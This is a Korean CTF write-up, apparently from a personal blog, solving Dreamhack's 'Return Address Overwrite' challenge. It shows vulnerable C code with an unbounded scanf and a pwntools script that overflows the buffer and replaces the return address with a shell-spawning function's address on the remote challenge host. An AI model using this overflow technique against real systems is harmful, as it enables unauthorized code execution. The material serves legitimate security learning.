또 뭐하지

[Dreamhack] Return Address Overwrite 본문

Write-up/Pwnable

[Dreamhack] Return Address Overwrite

mameul 2024. 5. 20. 20:24
728x90

풀이

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}

제공된 코드를 살펴보자.

buf 크기는 0x28인데 scanf를 통해 입력받는 buf 크기에 제한이 없는 것을 확인할 수 있다. 이 부분에서 buffer overflow 취약점이 발생할 수 있다.

flag를 읽어오기 위해서는 shell을 얻어야하는데, 그 부분은 get_shell 함수를 실행시키면 될 것 같다. get_shell 함수를 실행시키기 위해서 스택프레임의 return address 부분에 get_shell 함수의 주소값을 입력하는 공격을 하면 된다.

 

<스택프레임>

 

익스플로잇 코드를 작성하기 전에 get_shell 함수의 주소를 알아보자.

gdb를 통해 get_shell 주소가 0x4006aa인 것을 알았다.

from pwn import *         

p = remote('host3.dreamhack.games', 13098)

payload = b'A'*0x38   #buf 0x30 + sfp 0x8
payload += p64(0x4006aa)

p.sendlineafter(b':', payload)        

p.interactive()

buf와 sfp를 모두 A로 채우고 return address를 get_shell 주소로하는 payload를 작성했다.

해당 코드를 실행하면 shell을 얻을 수 있다! 이를 통해 flag 파일을 읽어볼 수 있다. 

'Write-up > Pwnable' 카테고리의 다른 글

[Dreamhack] ssp_001  (0) 2024.05.24
[Dreamhack] Return to Shellcode  (0) 2024.05.22
[Dreamhack] basic_exploitation_001  (0) 2024.05.20
[Dreamhack] basic_exploitation_000  (0) 2024.05.20
[Dreamhack] shell_basic  (0) 2024.05.11